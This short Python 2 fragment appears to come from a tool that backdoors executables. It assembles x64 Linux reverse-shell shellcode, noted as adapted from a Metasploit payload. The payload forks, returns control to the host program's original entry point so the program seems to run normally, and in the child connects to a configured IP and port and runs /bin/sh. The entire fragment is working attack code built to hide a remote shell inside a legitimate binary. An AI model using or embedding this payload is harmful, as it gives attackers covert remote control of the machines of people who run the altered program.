'Modified from metasploit payload/linux/x64/shell_reverse_tcp
to correctly fork the shellcode payload and continue normal execution.'

def reverse_shell_tcp(self, flItms, CavesPicked={}):

    if (self.PORT is None):
        print 'Must    provide    port'
        return False
    self.shellcode1 = 'j9X\x0f\x05H\x85\xc0t\x0c'
    self.shellcode1 += 'H\xbd'
    self.shellcode1 += struct.pack('<Q', self.e_entry)
    self.shellcode1 += '\xff\xe5'
    self.shellcode1 += 'j)X\x99j\x02_j\x01^\x0f\x05H\x97H\xb9\x02\x00'
    self.shellcode1 += struct.pack('!H', self.PORT)
    self.shellcode1 += self.pack_ip_addresses()
    self.shellcode1 += 'QH\x89\xe6j\x10Zj*X\x0f\x05j\x03^H\xff\xcej!X\x0f\x05u\xf6j;X\x99H\xbb/bin/sh\x00SH\x89\xe7RWH\x89\xe6\x0f\x05'
    self.shellcode = self.shellcode1
    return self.shellcode1
